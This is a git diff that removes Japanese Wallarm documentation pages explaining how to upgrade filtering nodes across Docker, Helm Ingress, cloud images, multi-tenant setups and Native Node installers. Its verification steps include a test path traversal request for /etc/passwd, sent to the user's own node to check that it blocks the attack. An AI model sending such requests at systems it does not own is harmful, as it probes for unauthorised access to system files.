手順6：AWSまたはGCPでフィルタリングノード6.xを基に仮想マシンイメージを作成します - -フィルタリングノード6.xを基に仮想マシンイメージを作成するには、[AWS](../admin-en/installation-guides/amazon-cloud/create-image.md)または[GCP](../admin-en/installation-guides/google-cloud/create-image.md)の手順に従います。 - -## 手順7：以前のWallarmノードインスタンスを削除します - -新しいバージョンのフィルタリングノードが正常に構成およびテストできた場合は、AWSまたはGCPの管理コンソールを使用して、以前のバージョンのフィルタリングノードのインスタンスと仮想マシンイメージを削除します。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/docker-container.md b/docs/latest-ja/updating-migrating/docker-container.md deleted file mode 100644 index f69b71e3c7..0000000000 --- a/docs/latest-ja/updating-migrating/docker-container.md +++ /dev/null @@ -1,93 +0,0 @@ -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[blocking-page-instr]: ../admin-en/configuration-guides/configure-block-page-and-code.md -[logging-instr]: ../admin-en/configure-logging.md -[proxy-balancer-instr]: ../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[allocating-memory-guide]: ../admin-en/configuration-guides/allocate-resources-for-node.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[api-policy-enf-docs]: ../api-specification-enforcement/overview.md -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md - -# Docker NGINXベースイメージのアップグレード - -本手順では、稼働中のDocker NGINXベースイメージを最新の6.xにアップグレードする手順を説明します。 - -!!! warning "既存のWallarm nodeの認証情報の使用" - 以前のバージョンの既存のWallarm nodeを使用することは推奨しません。本手順に従い、6.xバージョンの新しいフィルタリングノードを作成し、Dockerコンテナとしてデプロイしてください。 - -サポート終了のノード（3.6以下）をアップグレードする場合は、[別の手順](older-versions/docker-container.md)をご利用ください。 - -## 要件 - ---8<-- "../include/waf/installation/requirements-docker-nginx-latest.md" - -## 手順1: 更新されたフィルタリングノードイメージをダウンロードする - -``` bash -docker pull wallarm/node:6.4.1 -``` - -## 手順2: 実行中のコンテナを停止する - -```bash -docker stop -``` - -## 手順3: 新しいイメージでコンテナを実行する - -1. バージョン5.x以前からアップグレードする場合は、以下の重要な変更点に注意してください: - - * 以前に環境変数`TARANTOOL_MEMORY_GB`でpostanalyticsメモリを設定していた場合は、`SLAB_ALLOC_ARENA`に名称を変更してください。 - * カスタムNGINX設定ファイルをマウントしてDockerコンテナを実行している場合: - - * Alpine Linuxのディレクトリ規約に合わせ、`/etc/nginx/nginx.conf`内の`include`パスが変更されました: - - ```diff - ... - - - include /etc/nginx/modules-enabled/*.conf; - + include /etc/nginx/modules/*.conf; - - ... - - http { - - include /etc/nginx/sites-enabled/*; - + include /etc/nginx/http.d/*; - } - ``` - - * `/etc/nginx/conf.d/wallarm-status.conf`内で、許可するIPアドレスを定義する`allow`ディレクティブのデフォルト値が変更されました: - - ```diff - ... - - - allow 127.0.0.8/8; - + allow 127.0.0.0/8; - - ... - ``` - - * バーチャルホストの設定ファイルをマウントするパスは、`/etc/nginx/sites-enabled/default`から`/etc/nginx/http.d`に変更されました。 -1. Wallarm Console → **Settings** → **API Tokens**に進み、使用タイプが**Node deployment/Deployment**のトークンを生成します。 -1. 生成したトークンをコピーします。 -1. 新しいイメージでコンテナを実行し、更新された設定を適用します。 - - 更新されたイメージでコンテナを実行する方法は2通りあります: - - * [環境変数を渡してコンテナを実行](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables) - * [設定ファイルをマウントしてコンテナを実行](../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -## 手順4: フィルタリングノードの動作をテストする - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 手順5: 以前のバージョンのフィルタリングノードを削除する - -デプロイ済みの6.xイメージが正しく動作している場合は、Wallarm Console → **Nodes**で以前のバージョンのフィルタリングノードを削除できます。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/general-recommendations.md b/docs/latest-ja/updating-migrating/general-recommendations.md deleted file mode 100644 index 5be8ac685e..0000000000 --- a/docs/latest-ja/updating-migrating/general-recommendations.md +++ /dev/null @@ -1,57 +0,0 @@ -# 安全なWallarm Nodeのアップグレードに関する推奨事項 - -本書では、Wallarm Nodeを安全にアップグレードするための推奨事項と関連リスクを説明します。 - -## 一般的な推奨事項 - -* フィルタリングノードの更新プロセスを慎重に計画し、監視します。Wallarm Nodeの新バージョンの予定リリース日は[Wallarm Nodeのバージョン管理ポリシー](versioning-policy.md)に掲載しています。 -* インフラストラクチャに複数のWallarm Nodeがインストールされている場合は、段階的に更新します。最初のノードを更新した後は、1日間ノードモジュールの動作を監視し、最初のノードが正しく動作している場合は、他のWallarm Nodeを段階的に更新します。 -* 開発環境と本番環境が分かれている場合は、フィルタリングノードを段階的に更新します。まず非本番環境で新バージョンを適用・テストし、その後に本番環境で適用します。 -* フィルタリングノードをアップグレードする前に、利用可能な任意の方法でノード経由のトラフィックルーティングを無効化します（例えば、[トラフィックフィルタリングモード](../admin-en/configure-wallarm-mode.md)を`off`に設定するなど）。 -* フィルタリングノードモジュールをアップグレードしたら、ノードのフィルタリングモードを`monitoring`に設定します。すべてのモジュールが正しく動作し、1日間`monitoring`モードで新しい誤検知が異常に増加していない場合は、フィルタリングノードを`block`モードに切り替えます。 -* [NGINXノード](../installation/nginx-native-node-internals.md#nginx-node)を使用している場合は、Wallarm Nodeの更新を適用する前にNGINXを利用可能な最新バージョンにアップグレードします。インフラストラクチャで特定のNGINXバージョンを使用する必要がある場合は、カスタム版NGINX向けのWallarmモジュールのビルドについて[Wallarmテクニカルサポート](mailto:support@wallarm.com)にお問い合わせください。 - -## 想定されるリスク - -以下は、フィルタリングノードを更新する際に発生する可能性のあるリスクです。リスクの影響を軽減するため、更新時は該当するガイドラインに従ってください。 - -### 機能の変更 - -* [Wallarm Node 6.xおよび0.14.x+の新機能と変更点](what-is-new.md) -* [EOLノード（3.6以下）をアップグレードする場合の新機能と変更点](older-versions/what-is-new.md) - -### 新規誤検知 - -フィルタリングノードの各新バージョンではトラフィック解析を改善しています。つまり、新バージョンごとに誤検知の数は減少します。ただし、保護対象の各アプリケーションには固有の特性があるため、ブロッキングモード（`block`）を有効にする前に、`monitoring`モードで新バージョンのフィルタリングノードの挙動を分析することをお勧めします。 - -更新後の新規誤検知数を分析するには： - -1. 新バージョンのフィルタリングノードを`monitoring`[モード](../admin-en/configure-wallarm-mode.md)でデプロイし、フィルタリングノードにトラフィックを流します。 -2. 一定時間後に、Wallarm Console → Attacksセクションを開き、攻撃として誤って認識されたリクエスト数を分析します。 -3. 誤検知数の異常な増加を確認した場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にご連絡ください。 - -### 使用リソース量の増加 - -一部の新しいフィルタリングノード機能の使用により、使用リソース量が変化する場合があります。使用リソース量の変更に関する情報は、[新機能と変更点](what-is-new.md)セクションに記載しています。 - -また、フィルタリングノードの動作を監視することをお勧めします。実際の使用リソース量とドキュメント記載値に大きな差異がある場合は、[Wallarmテクニカルサポート](mailto:support@wallarm.com)にお問い合わせください。 - -## 更新手順 - -Wallarm Nodeの更新手順は、プラットフォームとインストール形態によって異なります。インストール形態を選択し、該当する手順に従ってください： - -* NGINXノード： - - * [NGINX、NGINX Plus向けモジュール](nginx-modules.md) - * [All-in-oneインストーラー](all-in-one.md) - * [NGINXモジュール入りのDockerコンテナ](docker-container.md) - * [Wallarmモジュール統合済みのNGINX Ingress Controller](ingress-controller.md) - * [Sidecar](sidecar-proxy.md) - * [クラウドノードイメージ](cloud-image.md) - * [マルチテナントノード](multi-tenant.md) - * [Wallarm Node 2.18以下から6.xへの許可リストと拒否リストの移行](migrate-ip-lists-to-node-3.md) -* ネイティブノード： - - * [All-in-oneインストーラー](native-node/all-in-one.md) - * [Helmチャート](native-node/helm-chart.md) - * [Dockerイメージ](native-node/docker-image.md) \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/ingress-controller.md b/docs/latest-ja/updating-migrating/ingress-controller.md deleted file mode 100644 index cd1281cbfc..0000000000 --- a/docs/latest-ja/updating-migrating/ingress-controller.md +++ /dev/null @@ -1,111 +0,0 @@ -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[ip-list-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../api-specification-enforcement/overview.md - -# 統合Wallarmモジュール付きNGINX Ingress controllerのアップグレード - -本手順では、デプロイ済みのWallarm NGINXベースのIngress Controllerを最新の6.xにアップグレードする手順を説明します。 - -サポート終了ノード(3.6以下)をアップグレードする場合は、[別の手順](older-versions/ingress-controller.md)を使用してください。 - -!!! warning - The Kubernetes community will [retire the Community Ingress NGINX in March 2026](https://blog.nginx.org/blog/the-ingress-nginx-alternative-open-source-nginx-ingress-controller-for-the-long-term). The Wallarm NGINX Ingress Controller based on this project will be supported through the same date. You can continue using it until then, and it will remain fully functional during the support window. - - Wallarm will provide alternative deployment options and migration guidance as they become available. [Details](../updating-migrating/nginx-ingress-retirement.md) - - An [Envoy/Istio-based connector](../installation/connectors/istio.md) is also available today for environments already using Envoy. - -## 要件 - ---8<-- "../include/waf/installation/requirements-nginx-ingress-controller-6.x.md" - -## 手順1：Wallarm Helmチャートリポジトリを更新します - -```bash -helm repo update wallarm -``` - -## 手順2：今後のK8sマニフェストの変更点を確認します - -Ingress controllerの動作が予期せず変わることを避けるため、[Helm Diff Plugin](https://github.com/databus23/helm-diff)を使用して、適用予定のK8sマニフェストの変更をすべて確認します。このプラグインは、稼働中のIngress controllerバージョンと新バージョンのK8sマニフェストの差分を出力します。 - -プラグインをインストールして実行するには： - -1. プラグインをインストールします： - - ```bash - helm plugin install https://github.com/databus23/helm-diff - ``` -2. プラグインを実行します： - - ```bash - helm diff upgrade -n wallarm/wallarm-ingress --version 6.4.0 -f - ``` - - * ``: Ingress controllerチャートを含むHelmリリース名です。 - * ``: Ingress controllerがデプロイされているNamespaceです。 - * ``: Ingress Controller 6.xの設定を含む`values.yaml`ファイルへのパスです。以前のバージョンのファイルを流用し、[Tarantoolからwstoreへの移行](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に合わせて更新できます。 - - Helmの値名が変更されました：`controller.wallarm.tarantool` → `controller.wallarm.postanalytics`。postanalyticsメモリを明示的に[割り当てている](../admin-en/configuration-guides/allocate-resources-for-node.md)場合は、`values.yaml`にこの変更を適用してください。 - -3. 稼働中のサービスの安定性に影響する変更がないことを確認し、stdoutに出力されたエラーを注意深く確認します。 - - stdoutが空の場合は、`values.yaml`ファイルが正しいことを確認します。 - -## 手順3：Ingress controllerをアップグレードします - -!!! info "" - 本番環境へデプロイする前に、ステージングのKubernetes環境でNGINX Ingress Controllerを先にアップグレードし、変更内容を検証することを推奨します。 - -デプロイ済みのNGINX Ingress controllerをアップグレードします： - -``` bash -helm upgrade -n wallarm/wallarm-ingress --version 6.4.0 -f -``` - -* ``: Ingress controllerチャートを含むHelmリリース名です。 -* ``: Ingress controllerがデプロイされているNamespaceです。 -* ``: Ingress Controller 6.xの設定を含む`values.yaml`ファイルへのパスです。以前のバージョンのファイルを流用し、[Tarantoolからwstoreへの移行](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics)に合わせて更新できます。 - - Helmの値名が変更されました：`controller.wallarm.tarantool` → `controller.wallarm.postanalytics`。postanalyticsメモリを明示的に[割り当てている](../admin-en/configuration-guides/allocate-resources-for-node.md)場合は、`values.yaml`にこの変更を適用してください。 - -## 手順4：アップグレードしたIngress controllerをテストします - -1. Helmチャートのバージョンがアップグレードされたことを確認します： - - ```bash - helm list -n - ``` - - ここで、``はIngress controllerを含むHelmチャートがデプロイされているNamespaceです。 - - チャートのバージョンは`wallarm-ingress-6.4.0`である必要があります。 -1. WallarmのPodを取得します： - - ``` bash - kubectl get pods -n -l app.kubernetes.io/name=wallarm-ingress - ``` - - Podのステータスは**STATUS: Running**かつ**READY: N/N**である必要があります： - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` - - バージョン5.x以下からアップグレードする場合、Tarantoolの個別Podがなくなり、wstoreはメインの`-wallarm-ingress-controller-xxx`Pod内で動作することに気付くはずです。 -1. テスト用の[パストラバーサル](../attacks-vulns-list.md#path-traversal)攻撃をWallarm Ingress controllerのアドレスに送信します： - - ```bash - curl http:///etc/passwd - ``` - - 新しいバージョンのソリューションが、前のバージョンと同様に不正リクエストを処理することを確認します。 - -ステージング環境でアップグレードが正常に検証できたら、本番環境のアップグレードに進みます。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/latest-ja/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 76034cce79..0000000000 --- a/docs/latest-ja/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1,27 +0,0 @@ -# Wallarm node 2.18以下から6.xへの許可リストと拒否リストの移行 - -Wallarm node 3.x以降、IPアドレスの許可リストと拒否リストの設定方法が変更されました。本ドキュメントでは、Wallarm node 2.18以下で設定された許可リストと拒否リストを最新のWallarm nodeへ移行する方法を説明します。 - -## 変更点 - -IPアドレスの許可リストおよび拒否リストの設定は次のように変更されました。 - -* NGINXディレクティブ`wallarm_acl_*`および環境変数`WALLARM_ACL_*`は非推奨になりました。現在、IPリストの設定は次のとおりです。 - - * IPの許可/拒否機能を有効化するための追加手順は不要です。Wallarm nodeはデフォルトでWallarm CloudからIPアドレスリストをダウンロードし、受信リクエストの処理時にダウンロードしたデータを適用します。 - * ブロックされたリクエストへの応答として返すブロックページとエラーコードは、`wallarm_acl_block_page`ではなく[`wallarm_block_page`](../admin-en/configure-parameters-en.md#wallarm_block_page)ディレクティブで設定します。 -* 許可リストおよび拒否リストに登録されたIPアドレスはWallarm Consoleから管理します。 -* 組織のリソースの脆弱性スキャンや追加のセキュリティテストの実行に使用される[Wallarmの脆弱性スキャン用IP](../admin-en/scanner-addresses.md)は、デフォルトで許可リストに登録されています。これらのアドレスを手動で許可リストに追加する必要はありません。 - -## 許可リスト/拒否リスト設定の移行手順 - -1. フィルタリングノードモジュールを最新バージョンに更新する旨を[Wallarmテクニカルサポート](mailto:support@wallarm.com)に連絡し、お使いのWallarmアカウントで新しいIPリストロジックを有効化するよう依頼してください。 - - 新しいIPリストロジックが有効化されたら、Wallarm Consoleを開き、[**IP lists**](../user-guides/ip-lists/overview.md)セクションが利用可能であることを確認してください。 -2. マルチテナントのWallarm nodeを更新する場合は、IPアドレス拒否リストをWallarm node 2.18以下のマルチテナントノードと同期するために使用していたスクリプトを削除してください。バージョン3.2以降は、[IPリスト](../user-guides/ip-lists/overview.md)の手動連携は不要です。 -3. 該当する[手順](general-recommendations.md#update-process)に従ってフィルタリングノードモジュールを6.xに更新してください。 -4. フィルタリングノードの設定ファイルから、組織のリソースの脆弱性スキャンおよび追加のセキュリティテストの実行に使用される[Wallarmの脆弱性スキャン用IP](../admin-en/scanner-addresses.md)の許可リスト設定を削除してください。フィルタリングノード3.x以降では、これらのアドレスはデフォルトで許可リストに登録されています。 -5. フィルタリングノードでブロックすべきでない他のIPアドレスの許可リスト化に上記の方法を使用している場合は、それらを[Wallarm Consoleのallowlist](../user-guides/ip-lists/overview.md)へ移行してください。 -6. 拒否リストに登録されたIPが発したリクエストに対して返すブロックページとエラーコードの設定に`wallarm_acl_block_page`ディレクティブを使用している場合は、ディレクティブ名を`wallarm_block_page`に置き換え、[手順](../admin-en/configuration-guides/configure-block-page-and-code.md)に従ってその値を更新してください。 -7. `docker run`コマンドから[NGINX](../admin-en/installation-docker-en.md)の環境変数`WALLARM_ACL_*`を削除してください。 -8. (任意) フィルタリングノードの設定ファイルからNGINXディレクティブ`wallarm_acl_*`を削除してください。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/multi-tenant.md b/docs/latest-ja/updating-migrating/multi-tenant.md deleted file mode 100644 index 114dc44b39..0000000000 --- a/docs/latest-ja/updating-migrating/multi-tenant.md +++ /dev/null @@ -1,33 +0,0 @@ -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png - -# マルチテナントノードのアップグレード - -本ドキュメントでは、マルチテナントノードを最新の6.xにアップグレードする手順を説明します。 - -サポート終了のマルチテナントノード（3.6以下）をアップグレードする場合は、[別の手順](older-versions/multi-tenant.md)を使用してください。 - -## 前提条件 - -* 以降のコマンドを実行するユーザーは、[テクニカルテナントアカウント](../installation/multi-tenant/overview.md#tenant-accounts)配下で**Global administrator**ロールが付与されている必要があります。 -* US Wallarm Cloudを使用している場合は`https://us1.api.wallarm.com`、EU Wallarm Cloudを使用している場合は`https://api.wallarm.com`へアクセスできる必要があります。ファイアウォールでアクセスがブロックされていないことを確認してください。 -* 攻撃検出ルールおよびAPI仕様の更新をダウンロードし、許可リスト、拒否リスト、またはグレーリストに設定した国、地域、またはデータセンターの正確なIPアドレスを取得するために、以下のIPアドレスへアクセスできる必要があります。 - - --8<-- "../include/wallarm-cloud-ips.md" - -## 標準アップグレード手順に従う - -標準手順は次のとおりです: - -* [DEB/RPMパッケージからのWallarmのアップグレード](nginx-modules.md) -* [オールインワンインストーラーでのWallarmのアップグレード](nginx-modules.md) -* [postanalyticsモジュールのアップグレード](separate-postanalytics.md) -* [Wallarm Docker NGINXベースイメージのアップグレード](docker-container.md) -* [Wallarmモジュール統合済みのNGINX Ingress controllerのアップグレード](ingress-controller.md) -* [Sidecar proxyのアップグレード](sidecar-proxy.md) -* [クラウドノードイメージのアップグレード](cloud-image.md) - -!!! warning "マルチテナントノードの作成" - Wallarmノードの作成時は、**Multi-tenant node**オプションを選択してください: - - ![マルチテナントノードの作成](../images/user-guides/nodes/create-multi-tenant-node.png) \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/native-node/all-in-one.md b/docs/latest-ja/updating-migrating/native-node/all-in-one.md deleted file mode 100644 index 93f62c5a85..0000000000 --- a/docs/latest-ja/updating-migrating/native-node/all-in-one.md +++ /dev/null @@ -1,168 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# all-in-oneインストーラーを使用したWallarm Native Nodeのアップグレード - -この手順では、[all-in-oneインストーラーでインストールされたNative Node](../../installation/native-node/all-in-one.md)をアップグレードする手順を説明します。 - -[all-in-oneインストーラーのリリース一覧を表示](node-artifact-versions.md) - -## 要件 - -* Linux OS。 -* x86_64/ARM64アーキテクチャ。 -* すべてのコマンドをスーパーユーザー（例: `root`）として実行します。 -* 以下へのアウトバウンドアクセス: - * `https://meganode.wallarm.com`（Wallarmインストーラーのダウンロード用） - * US/EU Wallarm Cloud向けの`https://us1.api.wallarm.com`または`https://api.wallarm.com` - * 攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[allowlisted、denylisted、graylisted][ip-list-docs]の国・地域・データセンターの正確なIPを取得するために必要な、以下のIPアドレス - - --8<-- "../include/wallarm-cloud-ips.md" -* さらに、Wallarm Consoleで**Administrator**ロールが割り当てられている必要があります。 - -## 1. 新しいインストーラーバージョンをダウンロードする - -現在のNative Nodeが稼働しているマシンに最新のインストーラーバージョンをダウンロードします。 - -=== "x86_64版" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.x86_64.sh - chmod +x aio-native-0.17.1.x86_64.sh - ``` -=== "ARM64版" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.17.1.aarch64.sh - chmod +x aio-native-0.17.1.aarch64.sh - ``` - -## 2. 新しいインストーラーを実行する - -以下のとおり新しいインストーラーを実行します。現在稼働中のWallarmサービスを停止し、その後新バージョンのサービスを自動的に起動します。 - -以前に生成した[`Node deployment/Deployment`使用タイプのAPIトークン](../../user-guides/settings/api-tokens.md)とノードグループ名を再利用できます。 - -構成ファイルについては、初回インストール時に使用したものを再利用できます。必要な場合のみ新しいパラメーターを追加するか既存のものを変更してください。[サポートされている構成オプション](../../installation/native-node/all-in-one-conf.md)を参照してください。 - -=== "connector-server" - `connector-server`モードは、MuleSoftの[Mule](../../installation/connectors/mulesoft.md)または[Flex](../../installation/connectors/mulesoft-flex.md) Gateway、[Akamai](../../installation/connectors/akamai-edgeworkers.md)、[CloudFront](../../installation/connectors/aws-lambda.md)、[Cloudflare](../../installation/connectors/cloudflare.md)、[Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md)、[Fastly](../../installation/connectors/fastly.md)、[IBM DataPower](../../installation/connectors/ibm-api-connect.md)コネクタとともに自己ホスト型ノードをデプロイした場合に使用します。 - - !!! info "Nodeバージョン0.12.x以下からアップグレードする場合" - Nodeバージョン0.12.x以下からアップグレードする場合は、初期構成ファイル（デフォルトのインストール手順に従い`wallarm-node-conf.yaml`）の`version`値が更新されていること、また（明示的に指定している場合は）セクション`tarantool_exporter`が`postanalytics_exporter`に名前変更されていることを確認してください: - ```diff - -version: 2 - +version: 4 - - -tarantool_exporter: - +postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - ... - ``` - - x86_64インストーラー版の場合: - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` - - ARM64インストーラー版の場合: - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` -=== "tcp-capture" - 自己ホスト型ノードを[TCPトラフィック解析](../../installation/oob/tcp-traffic-mirror/deployment.md)用にデプロイした場合に`tcp-capture`モードを使用します。 - - !!! info "Nodeバージョン0.12.1以下からアップグレードする場合" - Nodeバージョン0.12.0以下からアップグレードする場合は、初期構成ファイル（デフォルトのインストール手順に従い`wallarm-node-conf.yaml`）の`version`値が更新されていること、また以前に`middleware`セクションで設定していたパラメーターを`goreplay`セクションに移動していることを確認してください: - ```diff - -version: 2 - +version: 4 - - -middleware: - +goreplay: - parse_responses: true - response_timeout: 5s - url_normalize: true - - ... - ``` - - x86_64インストーラー版のアップグレードコマンド: - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` - - ARM64インストーラー版のアップグレードコマンド: - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` -=== "envoy-external-filter" - `envoy-external-filter`モードは、Istioで管理されるAPI向けの[gRPCベースの外部処理フィルター](../../installation/connectors/istio.md)に使用します。 - - x86_64インストーラー版のアップグレードコマンド: - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.x86_64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com --preserve false - ``` - - ARM64インストーラー版のアップグレードコマンド: - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.17.1.aarch64.sh -- --batch --token --mode=envoy-external-filter --go-node-config= --host api.wallarm.com --preserve false - ``` - -* `WALLARM_LABELS`変数は、ノードが追加されるgroupを設定します（Wallarm Console UIでのノードの論理的なグルーピングに使用されます）。 -* ``は、`Node deployment/Deployment`使用タイプで生成したAPIトークンを指定します。 -* ``は、構成ファイルへのパスを指定します。 - -現在の`/opt/wallarm/etc/wallarm/go-node.yaml`、`/opt/wallarm/etc/wallarm/node.yaml`およびログファイルは、ディレクトリ`/opt/wallarm/aio-backups/`にバックアップされます。 - -## 3. アップグレードを検証する - -ノードが正しく動作していることを確認するには、次を実行します。 - -1. ログにエラーがないか確認します: - * デフォルトでは`/opt/wallarm/var/log/wallarm/go-node.log`にログが書き込まれます。そこで確認できます。 - * データがWallarm Cloudに送信されているか、検出された攻撃など、フィルタリングノードの[標準ログ](../../admin-en/configure-logging.md)はディレクトリ`/opt/wallarm/var/log/wallarm`にあります。 -1. 保護対象リソースのアドレスにテスト用の[パストラバーサル][ptrav-attack-docs]攻撃リクエストを送信します: - ``` - curl http://localhost/etc/passwd - ``` - トラフィックが`example.com`へのプロキシに構成されている場合は、リクエストに`-H "Host: example.com"`ヘッダーを含めます。 -1. アップグレードしたノードが前のバージョンと比較して期待どおりに動作していることを確認します。 - -## 問題が発生した場合 - -アップグレードまたは再インストールの過程で問題が発生した場合: - -1. 現在のインストールを削除します: - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` -1. [TCPトラフィック解析](../../installation/oob/tcp-traffic-mirror/deployment.md)用、またはMuleSoftの[Mule](../../installation/connectors/mulesoft.md)や[Flex](../../installation/connectors/mulesoft-flex.md) Gateway、[Akamai](../../installation/connectors/akamai-edgeworkers.md)、[CloudFront](../../installation/connectors/aws-lambda.md)、[Cloudflare](../../installation/connectors/cloudflare.md)、[Broadcom Layer7 API Gateway](../../installation/connectors/layer7-api-gateway.md)、[Fastly](../../installation/connectors/fastly.md)、[IBM DataPower](../../installation/connectors/ibm-api-connect.md)の各コネクタ向けに、通常どおりノードを再インストールします。 - - または、上記のアップグレード手順に従ってください。 \ No newline at end of file diff --git a/docs/latest-ja/updating-migrating/native-node/docker-image.md b/docs/latest-ja/updating-migrating/native-node/docker-image.md deleted file mode 100644 index 40dd254913..0000000000 --- a/docs/latest-ja/updating-migrating/native-node/docker-image.md +++ /dev/null @@ -1,88 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Dockerイメージを使用したWallarm Native Nodeのアップグレード - -本手順では、[DockerイメージからデプロイされたNative Node](../../installation/native-node/docker-image.md)をアップグレードする手順を説明します。 - -[Dockerイメージのリリースを表示](node-artifact-versions.md) - -## 要件 - -* ホストシステムに[Docker](https://docs.docker.com/engine/install/)がインストールされていること -* API管理プラットフォームからコンテナ化された環境へのインバウンドアクセス -* コンテナ化された環境から以下へのアウトバウンドアクセス: - * デプロイに必要なDockerイメージをダウンロードするための`https://hub.docker.com/r/wallarm` - * US/EUのWallarm Cloud用の`https://us1.api.wallarm.com`または`https://api.wallarm.com` - * 攻撃検知ルールおよび[API仕様][api-spec-enforcement-docs]の更新をダウンロードし、さらに[allowlisted、denylisted、graylisted][ip-list-docs]の国・地域・データセンターの正確なIPを取得するための、以下のIPアドレスへのアクセス - - --8<-- "../include/wallarm-cloud-ips.md" -* さらに、Wallarm ConsoleでAdministratorロールが割り当てられている必要があります - -## 1. 新しいDockerイメージのバージョンをダウンロードします - -``` -docker pull wallarm/node-native-aio:0.17.1 -``` - -## 2. 実行中のコンテナを停止します - -```bash -docker stop -``` - -## 3. 新しいイメージを使用してコンテナを起動します - -!!! info "Nodeバージョン0.12.x以下からアップグレードする場合" - Nodeバージョン0.12.x以下からアップグレードする場合は、初期設定ファイル（デフォルトのインストール手順では`wallarm-node-conf.yaml`）の`version`値を更新し、（明示的に指定している場合は）`tarantool_exporter`セクションの名前を`postanalytics_exporter`に変更してください: - - ```diff - -version: 2 - +version: 4 - - -tarantool_exporter: - +postanalytics_exporter: - address: 127.0.0.1:3313 - enabled: true - - ... - ``` - 